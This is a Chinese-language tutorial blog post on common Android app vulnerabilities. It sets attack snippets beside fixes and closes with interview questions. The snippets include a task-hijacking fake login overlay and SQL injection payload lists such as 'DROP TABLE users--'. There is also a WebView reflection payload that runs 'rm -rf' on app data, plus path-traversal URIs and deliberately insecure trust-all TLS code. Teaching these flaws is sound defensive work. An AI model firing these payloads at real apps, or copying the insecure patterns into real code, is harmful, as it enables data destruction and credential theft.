目录
  1. 1. 一、导出组件漏洞
    1. 1.1. 组件导出规则(Android 12+ 变更)
    2. 1.2. Activity 劫持
    3. 1.3. Service 劫持
    4. 1.4. BroadcastReceiver 劫持
  2. 2. 二、ContentProvider 漏洞
    1. 2.1. SQL 注入
    2. 2.2. 文件遍历漏洞
  3. 3. 三、WebView 远程代码执行
    1. 3.1. WebView 安全漏洞全景
    2. 3.2. WebView 安全配置最佳实践
  4. 4. 四、不安全的文件存储
    1. 4.1. Android 存储安全清单
    2. 4.2. EncryptedSharedPreferences(Jetpack Security)
  5. 5. 五、Logcat 信息泄露
    1. 5.1. 自动化日志审计脚本
  6. 6. 六、Intent 注入与 Sniffing
    1. 6.1. Intent 安全漏洞分类
  7. 7. 七、其他常见漏洞
    1. 7.1. 7.1 不安全的加密实现
    2. 7.2. 7.2 不安全的反序列化
    3. 7.3. 7.3 SSL/TLS 中间人攻击
    4. 7.4. 7.4 不安全的 IPC(进程间通信)
  8. 8. 面试常考问题
【逆向安全技术-实战篇】常见应用漏洞分析

一、导出组件漏洞

Android 四大组件(Activity、Service、BroadcastReceiver、ContentProvider)若设置 android:exported="true" 且未做权限保护,可能被第三方应用恶意调用。

组件导出规则(Android 12+ 变更)

Android 11 及以前:
- 有 <intent-filter> 的组件默认 exported="true"
- 无 <intent-filter> 的组件默认 exported="false"

Android 12 (API 31)+:
- 有 <intent-filter> 的组件必须显式声明 android:exported
- 否则编译失败或运行时崩溃
- 目的是强制开发者明确组件的导出意图

Activity 劫持

// 恶意应用直接启动目标应用的导出 Activity
Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.SecretActivity");
intent.putExtra("token", "attacker_controlled_value");
startActivity(intent);

修复:设置 android:exported="false" 或添加 android:permission 保护。

Task Hijacking(任务劫持)攻击:

// 更高级的攻击:在受害者 Activity 返回栈中插入恶意 Activity
// 攻击者的 Activity 使用相同的 taskAffinity
// AndroidManifest.xml:
<activity android:name=".FakeLoginActivity"
android:taskAffinity="com.victim.app"
android:launchMode="singleTask"
android:exported="true">
</activity>

// 攻击代码:
Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.LoginActivity");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
// 延迟后启动伪造 Activity 覆盖在真实 LoginActivity 上层
new Handler().postDelayed(() -> {
Intent fake = new Intent(this, FakeLoginActivity.class);
startActivity(fake);
}, 100);

修复:设置 android:taskAffinity=""(空字符串)或设置 android:launchMode="singleInstance"

Service 劫持

导出 Service 可直接绑定并调用其方法:

Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.SensitiveService");
bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);

AIDL Service 攻击:

// 如果目标 Service 使用 AIDL 接口,攻击者可以:
// 1. 从目标 APK 中提取 AIDL 生成的 Stub 类
// 2. 在自己的应用中编译相同的 AIDL
// 3. 绑定后直接调用远程方法

// 攻击示例:
ServiceConnection conn = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// 将 IBinder 转换为 AIDL 接口
ISensitiveService api = ISensitiveService.Stub.asInterface(service);
// 直接调用敏感方法
String secret = api.getSecretData();
api.sendSms("555-1234", "malicious message");
}
// ...
};

BroadcastReceiver 劫持

// 发送伪造广播,触发内置逻辑
Intent intent = new Intent();
intent.setAction("com.victim.app.ACTION_SEND_SMS");
intent.putExtra("phone", "5551234567");
intent.putExtra("message", "malicious");
sendBroadcast(intent);

有序广播拦截(Ordered Broadcast Interception):

// 如果目标发送的是有序广播(sendOrderedBroadcast)
// 攻击者的高优先级 Receiver 可以先处理并拦截
// AndroidManifest.xml 中设置高优先级:
<receiver android:name=".SmsInterceptReceiver"
android:exported="true">
<intent-filter android:priority="999">
<action android:name="com.victim.app.ACTION_SEND_SMS"/>
</intent-filter>
</receiver>

// 在 Receiver 中:
public void onReceive(Context context, Intent intent) {
// 获取并篡改广播数据
String phone = intent.getStringExtra("phone");
// 修改为目标号码...
// 拦截广播(阻止后续 Receiver 接收)
abortBroadcast();
}

二、ContentProvider 漏洞

SQL 注入

// ContentProvider query 实现中存在拼接 SQL
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = mDbHelper.getReadableDatabase();
// 危险:selectionArgs 参数未被正确使用,拼接了 selection
String sql = "SELECT * FROM users WHERE name = '" + selection + "'";
return db.rawQuery(sql, null);
}

攻击者构造 selection = "admin' OR '1'='1" 实现注入,获取全表数据。

ContentProvider SQL 注入的完整攻击面:

┌───────────────────────────────────────────────────────┐
│ ContentProvider 注入点检测方法 │
├───────────────────────────────────────────────────────┤
│ │
│ 1. 路径遍历注入 │
│ content://com.victim.provider/files/../../../etc/ │
│ → 检查 openFile() 是否正确过滤路径 │
│ │
│ 2. 投影注入(Projection Injection) │
│ query() 的 projection 参数 │
│ → new String[]{"* FROM sqlite_master--"} │
│ → 如果 projection 被拼接到 SQL │
│ │
│ 3. 排序注入(Order By Injection) │
│ query() 的 sortOrder 参数 │
│ → "name ASC; DROP TABLE users--" │
│ │
│ 4. URI 匹配漏洞 │
│ UriMatcher 的匹配逻辑缺陷 │
│ → content://.../user/../admin → 访问 admin 数据 │
│ │
└───────────────────────────────────────────────────────┘

自动检测 ContentProvider 注入点:

// 使用 drozer 的 scanner 模块
// dz> run scanner.provider.injection -a com.target.app
//
// 或者使用 ContentProvider 测试代码:

public static void testInjection(Uri uri) {
String[] projections = {
"'* FROM SQLITE_MASTER--",
"COLUMN_NAME FROM (SELECT * FROM SQLITE_MASTER)--",
"* FROM USERS--"
};

String[] selections = {
"1=1",
"' OR '1'='1",
"admin'--",
"1) UNION SELECT * FROM SQLITE_MASTER--"
};

String[] sortOrders = {
"name ASC--",
"(SELECT name FROM SQLITE_MASTER LIMIT 1)--"
};

// 测试每种组合
for (String proj : projections) {
for (String sel : selections) {
try {
Cursor c = resolver.query(uri, new String[]{proj}, sel, null, null);
// 检查返回是否异常(返回了不应返回的数据)
} catch (Exception e) {
// 可能的注入点!
}
}
}
}

文件遍历漏洞

// 漏洞代码:未过滤路径
public ParcelFileDescriptor openFile(Uri uri, String mode) {
String path = uri.getPath(); // 直接使用 URI 路径部分
File file = new File(getContext().getFilesDir(), path);
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}

// 攻击:
// content://com.victim.provider/../../../data/data/com.victim.app/shared_prefs/config.xml
// → 读取任意应用内部文件

修复:

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
String path = uri.getPath();
// 规范化路径并验证
File requestedFile = new File(getContext().getFilesDir(), path);
String canonicalPath = requestedFile.getCanonicalPath();

if (!canonicalPath.startsWith(getContext().getFilesDir().getCanonicalPath())) {
throw new SecurityException("Path traversal attempt detected");
}

return ParcelFileDescriptor.open(requestedFile, ParcelFileDescriptor.MODE_READ_ONLY);
}

三、WebView 远程代码执行

Android API 16 及以下,使用 addJavascriptInterface 存在严重 RCE 漏洞:

// 危险代码:JS 可反射调用 Java 对象的方法
webView.addJavascriptInterface(new JSInterface(), "Android");

恶意网页可执行:

// 通过反射执行系统命令
Android.getClass().forName("java.lang.Runtime")
.getMethod("getRuntime").invoke(null)
.exec("rm -rf /data/data/com.victim.app/*");

WebView 安全漏洞全景

┌────────────────────────────────────────────────────┐
│ WebView 安全漏洞分类 │
├────────────────────────────────────────────────────┤
│ │
│ 1. Javascript Interface 注入 │
│ - API 16-: 无条件反射访问所有 Java 方法 │
│ - API 17+: @JavascriptInterface 仅标记方法 │
│ - 攻击:注入恶意 JS → 反射调用系统 API │
│ │
│ 2. 文件访问漏洞 │
│ - setAllowFileAccess(true) 默认开启 │
│ - 恶意页面可通过 file:// 读取本地文件 │
│ - setAllowFileAccessFromFileURLs(true) │
│ → 允许 file:// 页面访问其他 file:// 资源 │
│ │
│ 3. SSL 绕过 │
│ - onReceivedSslError() 直接 proceed() │
│ - 可被中间人攻击劫持 HTTPS 通信 │
│ │
│ 4. URL 跳转劫持 │
│ - shouldOverrideUrlLoading() 未校验 URL │
│ - 通过 intent:// scheme 启动本地组件 │
│ - 通过 javascript: scheme 执行 XSS │
│ │
│ 5. Cookie 泄露 │
│ - CookieManager 未设置 secure/httpOnly │
│ - 跨域策略配置不当 │
│ │
└────────────────────────────────────────────────────┘

修复方案:

  • targetSdkVersion 提高到 17+,使用 @JavascriptInterface 注解限制
  • 避免在 WebView 中暴露敏感 Java 对象
  • 使用 WebView 安全配置:setAllowFileAccess(false)

WebView 安全配置最佳实践

public class SecureWebViewActivity extends Activity {
private WebView webView;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

webView = new WebView(this);

// 1. 禁用文件访问
WebSettings settings = webView.getSettings();
settings.setAllowFileAccess(false);
settings.setAllowFileAccessFromFileURLs(false);
settings.setAllowUniversalAccessFromFileURLs(false);

// 2. 禁用不必要的功能
settings.setJavaScriptEnabled(true); // 仅在需要时开启
settings.setSavePassword(false);
settings.setSaveFormData(false);

// 3. 安全的 SSL 处理
webView.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedSslError(WebView view,
SslErrorHandler handler, SslError error) {
// 永不 proceed()! 显示错误或终止加载
handler.cancel();
// 在生产环境中通知用户而非绕过
}

@Override
public boolean shouldOverrideUrlLoading(WebView view,
WebResourceRequest request) {
Uri url = request.getUrl();
String scheme = url.getScheme();

// 阻止 intent:// 和 javascript:// scheme
if ("intent".equals(scheme) || "javascript".equals(scheme)) {
return true; // 拦截
}

// 白名单校验
if (!url.getHost().endsWith(".trusted-domain.com")) {
return true; // 拦截非白名单 URL
}

return false;
}
});

// 4. Javascript Interface 安全
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
webView.addJavascriptInterface(new SafeJSInterface(), "Android");
}
// 不要在 API 16- 设备上使用 addJavascriptInterface

// 5. Cookie 安全
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
CookieManager.getInstance().setAcceptThirdPartyCookies(webView, false);
}

// 6. Network Security Config (Android 7.0+)
// res/xml/network_security_config.xml
// 在 Manifest 中: android:networkSecurityConfig="@xml/network_security_config"
}

public class SafeJSInterface {
@JavascriptInterface
public String getDeviceInfo() {
// 只返回非敏感信息
return Build.MODEL;
}
// 不要暴露任何可能被反射利用的方法
}
}

四、不安全的文件存储

// 危险:明文存储密码
SharedPreferences sp = getSharedPreferences("config", MODE_WORLD_READABLE);
sp.edit().putString("password", "admin123").apply();

// 危险:敏感数据存储在外部存储
FileOutputStream fos = new FileOutputStream(
Environment.getExternalStorageDirectory() + "/secrets.txt");

Android 存储安全清单

存储方式 风险 安全替代方案
MODE_WORLD_READABLE 任何应用可读取 MODE_PRIVATE(默认)
MODE_WORLD_WRITEABLE 任何应用可写入/注入 MODE_PRIVATE
外部存储明文文件 所有应用 + 用户可访问 EncryptedFile + 内部存储
SharedPreferences 明文 root 设备可读 EncryptedSharedPreferences
SQLite 明文数据 root 设备可读 SQLCipher 加密数据库
logcat 输出 任何应用通过 READ_LOGS 读取 发布前移除所有日志

EncryptedSharedPreferences(Jetpack Security)

// 安全的偏好设置存储
MasterKey masterKey = new MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.build();

SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(
context,
"secure_prefs",
masterKey,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);

sharedPreferences.edit()
.putString("auth_token", token)
.apply();

修复:使用 MODE_PRIVATE + 加密存储,敏感文件放 /data/data/ 内部目录。

五、Logcat 信息泄露

// 敏感信息写入日志
Log.d("LoginActivity", "User login: " + username + ":" + password);
Log.e("Payment", "Card number: " + cardNum);

检查命令:

adb logcat | grep -iE "password|token|secret|apikey|card"

自动化日志审计脚本

#!/usr/bin/env python3
"""监听 logcat 并标记敏感信息泄露"""

import subprocess
import re

SENSITIVE_PATTERNS = {
'PASSWORD': r'(?:password|passwd|pwd)\s*[:=]\s*\S+',
'TOKEN': r'(?:token|auth|bearer)\s*[:=]\s*\S+',
'CREDIT_CARD': r'\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b',
'EMAIL': r'[\w\.-]+@[\w\.-]+\.\w+',
'API_KEY': r'(?:api[_-]?key|apikey)\s*[:=]\s*\S+',
'SESSION': r'(?:session|jsessionid)\s*[:=]\s*\S+',
'JSON_OBJECT': r'\{[^}]*"(?:password|token|secret|key)"[^}]*\}',
'BASE64_LONG': r'[A-Za-z0-9+/]{40,}={0,2}',
}

def monitor_logcat(package_name=None):
cmd = ['adb', 'logcat', '-v', 'brief']
if package_name:
cmd.extend(['--pid', str(get_pid(package_name))])

proc = subprocess.Popen(cmd, stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL, text=True)

for line in proc.stdout:
for category, pattern in SENSITIVE_PATTERNS.items():
if re.search(pattern, line, re.IGNORECASE):
print(f"[!] {category} LEAK: {line.strip()}")
break

def get_pid(package_name):
result = subprocess.run(['adb', 'shell', 'pidof', package_name],
capture_output=True, text=True)
return result.stdout.strip()

if __name__ == "__main__":
monitor_logcat("com.target.app")

六、Intent 注入与 Sniffing

// 敏感数据通过隐式 Intent 传递
Intent intent = new Intent("com.victim.app.RESULT");
intent.putExtra("auth_token", tokenString);
sendBroadcast(intent); // 任何应用都可以接收!

使用 setPackage() 限定接收者,或使用 LocalBroadcastManager

Intent 安全漏洞分类

┌─────────────────────────────────────────────────┐
│ Intent 相关安全漏洞 │
├─────────────────────────────────────────────────┤
│ │
│ 1. Intent Sniffing(广播嗅探) │
│ - 发送隐式广播时,任何应用注册对应的 │
│ BroadcastReceiver 都能接收 │
│ - 可能泄露 auth token, session id, │
│ user info 等 │
│ │
│ 2. Intent Injection(意图注入) │
│ - 导出的 Activity 接受任意 Intent │
│ - 攻击者可构造 Intent extras 触发 │
│ 非预期的代码路径 │
│ - 例如: intent.putExtra("url", │
│ "javascript:alert(document.cookie)") │
│ 传给 WebView Activity │
│ │
│ 3. Intent Redirection(意图重定向) │
│ - Activity 收到 Intent 后将其转发给 │
│ 另一个组件 │
│ - 攻击者可在原始 Intent 中嵌套 │
│ 目标 Intent,通过重定向攻击内部组件 │
│ │
│ 4. PendingIntent 劫持 │
│ - PendingIntent 中的 Intent 可被 │
│ 恶意应用修改 extras │
│ - PendingIntent.FLAG_IMMUTABLE │
│ (Android 12+)解决此问题 │
│ │
└─────────────────────────────────────────────────┘

PendingIntent 安全:

// 危险:mutable PendingIntent(Android 12 之前默认)
PendingIntent pi = PendingIntent.getActivity(context, 0, intent, 0);
// 攻击者可通过 IntentSender 修改 intent 中的 extras

// 安全:FLAG_IMMUTABLE(Android 6+ 可用,Android 12+ 强制)
PendingIntent pi = PendingIntent.getActivity(
context, 0, intent, PendingIntent.FLAG_IMMUTABLE);

// 如需更新 extras(如通知进度条),使用 FLAG_MUTABLE
PendingIntent pi = PendingIntent.getActivity(
context, 0, intent, PendingIntent.FLAG_MUTABLE);

七、其他常见漏洞

7.1 不安全的加密实现

// 问题1:硬编码密钥
private static final String KEY = "1234567890abcdef"; // AES-128 key

// 问题2:使用弱加密算法
Cipher cipher = Cipher.getInstance("DES"); // DES 已被攻破

// 问题3:使用 ECB 模式
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
// ECB 模式相同明文产生相同密文,泄露模式

// 问题4:使用固定 IV
byte[] iv = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
IvParameterSpec ivSpec = new IvParameterSpec(iv);

// 安全做法:
// 1. 使用 Android Keystore 生成和存储密钥
KeyGenerator keyGenerator = KeyGenerator.getInstance(
KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
keyGenerator.init(new KeyGenParameterSpec.Builder(
"my_key_alias",
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_CBC)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_PKCS7)
.build());
SecretKey key = keyGenerator.generateKey();

// 2. 使用 GCM 模式(自带认证)
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");

// 3. 每个密文使用随机 IV
SecureRandom random = new SecureRandom();
byte[] iv = new byte[12]; // GCM 推荐 12 字节 IV
random.nextBytes(iv);

7.2 不安全的反序列化

// 危险:反序列化不受信任的数据
ObjectInputStream ois = new ObjectInputStream(inputStream);
MyObject obj = (MyObject) ois.readObject(); // 可导致任意代码执行

// 攻击者可以构造恶意的序列化对象,
// 在 readObject() 时触发 Runtime.exec()

7.3 SSL/TLS 中间人攻击

// 危险:信任所有证书
TrustManager[] trustAllCerts = new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
}
};

SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new SecureRandom());

// 危险:忽略主机名验证
HttpsURLConnection.setDefaultHostnameVerifier((hostname, session) -> true);

// 安全:使用 Network Security Config (Android 7.0+)
// res/xml/network_security_config.xml
// <network-security-config>
// <domain-config cleartextTrafficPermitted="false">
// <domain includeSubdomains="true">trusted-api.com</domain>
// <pin-set>
// <pin digest="SHA-256">base64_encoded_pin</pin>
// </pin-set>
// </domain-config>
// </network-security-config>

7.4 不安全的 IPC(进程间通信)

// 危险:Binder 接口未校验调用者
public class MyService extends Service {
private final IMyAidlInterface.Stub binder = new IMyAidlInterface.Stub() {
@Override
public String getSecretData() {
// 未检查调用者 UID/PID/包名
return "SENSITIVE_DATA";
}
};
}

// 安全:校验调用者
public class SecureService extends Service {
private final IMyAidlInterface.Stub binder = new IMyAidlInterface.Stub() {
@Override
public String getSecretData() {
// 检查调用者
int callingUid = Binder.getCallingUid();
String[] packages = getPackageManager().getPackagesForUid(callingUid);

// 白名单校验
for (String pkg : packages) {
if ("com.trusted.caller".equals(pkg)) {
return "SENSITIVE_DATA";
}
}
throw new SecurityException("Unauthorized caller");
}
};
}

面试常考问题

Q1:如何快速判断一个应用是否存在导出组件漏洞?

A:使用 drozerhttps://github.com/WithSecureLabs/drozer)扫描应用的攻击面:`run app.package.attacksurface com.target.app。它可以列出所有导出组件、可读取 ContentProvider URI、可调用的 Service 等。也可用 aapt dump xmltree target.apk AndroidManifest.xml | grep exported手动检查。更系统的方法:(1)aapt dump badging获取包名和权限列表;(2) 使用jadx打开 APK,查看 AndroidManifest.xml 中标记exported=”true”的组件;(3) 使用drozerapp.activity.infoapp.provider.infoapp.service.infoapp.broadcast.info模块逐一审查;(4) 对于 ContentProvider,使用app.provider.finduri列出所有可访问的 URI,并使用scanner.provider.injectionscanner.provider.traversal` 检测 SQL 注入和路径遍历。

Q2:WebView 安全除了 addJavascriptInterface 还有哪些常见问题?

A:(1)setAllowFileAccess(true) 允许 WebView 通过 file:// 协议访问本地文件;(2) SSL 错误处理不当,onReceivedSslError 中直接 handler.proceed();(3) 未验证 URL,导致 URL 跳转劫持——攻击者可以通过 intent:// scheme 启动本地组件,或通过 javascript: scheme 执行 XSS;(4) WebView 中泄露 Cookie 或 Session 信息——未设置 Cookie 的 secure 和 httpOnly 标志;(5) 使用 addJavascriptInterface 暴露了具有反射能力的对象(即使加了 @JavascriptInterface 注解也存在风险);(6) WebView 加载任意 URL 而缺少 URL 白名单;(7) 在 API 23+ 使用了被废弃的 setJavaScriptEnabled(true) 配合 file:// URL 加载(存在通用 XSS 风险)。

Q3:ContentProvider 的 SQL 注入和 Web SQL 注入有什么异同?

A:原理相同,都是通过未经过滤的用户输入拼接 SQL 语句。不同点在于攻击入口:Web SQL 注入通过 HTTP 参数传入,ContentProvider SQL 注入通过其他应用构造的 ContentResolver 调用传入。防御方式也类似:使用参数化查询(selectionArgs),对输入做严格校验。ContentProvider 的特殊性在于:(1) 攻击者需要先确定 Provider 的 URI 和权限要求;(2) 注入点不仅限于 selection 参数,还包括 projection(投影列注入)和 sortOrder(排序注入);(3) 攻击可通过 adb shell content query 命令直接测试;(4) ContentProvider 还额外面临路径遍历(Path Traversal)风险——不同于 Web SQL 注入,ContentProvider 的 openFile() 方法可能允许攻击者通过构造 URI 读/写任意文件。

Q4:什么是不安全的 Intent 处理?如何防御?

A:不安全的 Intent 处理包括:(1) 通过隐式广播发送敏感数据,任何应用注册相同的 action 即可接收——防御:使用 LocalBroadcastManager(仅进程内发送)、setPackage() 指定目标包、或使用权限保护;(2) 导出的 Activity 信任 Intent extras,可能导致功能劫持——防御:校验 getCallingActivity() 确认调用者身份、对 extras 做白名单校验;(3) PendingIntent 被恶意修改 extras——防御:使用 PendingIntent.FLAG_IMMUTABLE 标志;(4) Intent Redirection——导出的 Activity 将收到的 Intent 转发给内部组件——防御:检查原始 Intent 的来源,避免直接转发不可信 Intent。

Q5:如何在 Android 应用中安全地存储敏感数据?

A:分层防御策略:(1) 首选 Android Keystore 系统——密钥在 TEE(Trusted Execution Environment)或 StrongBox 中生成和操作,密钥材料永不离开安全硬件;(2) 使用 Jetpack Security 库的 EncryptedFile 和 EncryptedSharedPreferences——它们底层使用 Keystore 管理的 AES-256 GCM 加密;(3) 如果使用 SQLite,使用 SQLCipher 进行全数据库加密;(4) 绝不使用外部存储(getExternalStorageDirectory())存放敏感文件——该目录对设备上的所有应用和通过 USB 连接 PC 后的用户可读;(5) 内部存储(getFilesDir())的默认权限是 MODE_PRIVATE,只有本应用可访问;(6) 对于极敏感的密钥材料(如支付签名私钥),采用白盒加密(White-box Cryptography)或拆分为多段分散存储,并配合代码混淆和完整性校验(检测应用是否被重新打包)。

打赏
  • 微信
  • 支付宝

评论